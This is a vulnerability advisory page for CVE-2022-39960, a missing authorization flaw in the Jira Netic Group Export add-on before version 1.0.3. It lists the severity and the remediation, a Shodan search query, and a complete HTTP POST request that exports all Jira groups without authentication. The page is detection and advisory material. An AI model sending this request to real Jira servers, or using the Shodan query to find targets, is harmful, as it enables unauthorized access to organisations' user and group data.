🔙 목록으로 돌아가기

CVE-2022-39960: Jira Netic Group Export <1.0.3 - Missing Authorization

TitleJira Netic Group Export <1.0.3 - Missing Authorization
AuthorFor3stCo1d
SeverityMedium
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive data.
RemediationUpgrade to Jira Netic Group Export version 1.0.3 or later to fix the missing authorization issue.
CVSS Score5.3
EPSS Score0.7815
CVE IDCVE-2022-39960
CWE IDCWE-862
Shodan Queryhttp.component:"Atlassian Jira"http.component:"atlassian jira"
Tags cve cve2022 atlassian jira netic unauth vkev vuln

🔍 Vulnerability Description

Jira Netic Group Export add-on before 1.0.3 contains a missing authorization vulnerability. The add-on does not perform authorization checks, which can allow an unauthenticated user to export all groups from the Jira instance by making a groupexport_download=true request to a plugins/servlet/groupexportforjira/admin/ URI and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

POST /plugins/servlet/groupexportforjira/admin/json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

groupexport_searchstring=&groupexport_download=true

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-39960.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-39960.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A